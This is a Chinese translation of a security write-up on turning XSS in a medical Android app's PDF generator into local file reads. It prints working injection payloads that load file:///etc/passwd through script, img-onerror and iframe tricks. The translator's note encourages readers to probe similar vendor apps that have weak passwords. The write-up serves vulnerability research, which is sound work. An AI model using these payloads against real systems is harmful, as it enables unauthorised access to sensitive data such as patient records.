原文：
https://blog.dixitaditya.com/leveraging-xss-to-read-internal-files/
每个人都对XSS得利用方式应该都很熟悉，这是关于如何在Android应用程序上的PDF生成器中获取XSS的文章，该文件使我能够读取系统上的本地文件。
背景
这是一个医疗相关的安卓应用，被预装在安卓平板上，这个应用被限制读取本地文件系统。
它安装了一个自定义启动器，阻止用户更改屏幕或访问其中的任何内容，就像在商场中显示的广告屏上看到的那样。
因此，找到本地文件读取绝对是至关重要的，因为它绕过了应用程序的业务逻辑，并允许攻击者访问内部数据。
XSS => LFI
在移动设备或任何应用程序中查找到XSS并不罕见。这类问题很普遍，但我遇到的问题是在PDF生成的输出中XSS。
该应用程序允许我编辑任何患者的记录，并打印出其详细信息。这也使我可以将输出另存为PDF文件。
因此，我尝试输入普通的HTML注入Payload，以查看它是否在生成的PDF输出中呈现。
<h1>test</h1>test2
毫无意外，成功注入了HTML。
我在某些博客中看到的下一个方法是检查是否可以读取本地文件，因为所有这些都是在本地发生的。这是我尝试过的Payload。
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
但是由于某种原因，它无法正常工作，并继续加载同一页面。
然后，我尝试了另一个使用<img>标签的有效负载。
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
效果不佳，应用崩溃了。也许是因为onerror或img。
因此，我没有使用所有复杂的有效载荷，而是尝试了一个简单的payload，即
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
并在生成的PDF文件中读取到了这个文件，如下所示。
我们绕过了启动器，该启动器禁止用户访问系统并允许他们读取内部文件。
译者按：
说实话，这个漏洞不是很厉害。但是这种传统厂商开发的app，经常漏洞多如靶场。如果在搞测试的时候，搞到了这种设备，那简直是挖到矿了。经常是权限全给，后台花样弱口令，一key通所有主机。大家搞web如果搞累了，可以尝试下这种app试一试。
本文迁移自知识星球“火线Zone”
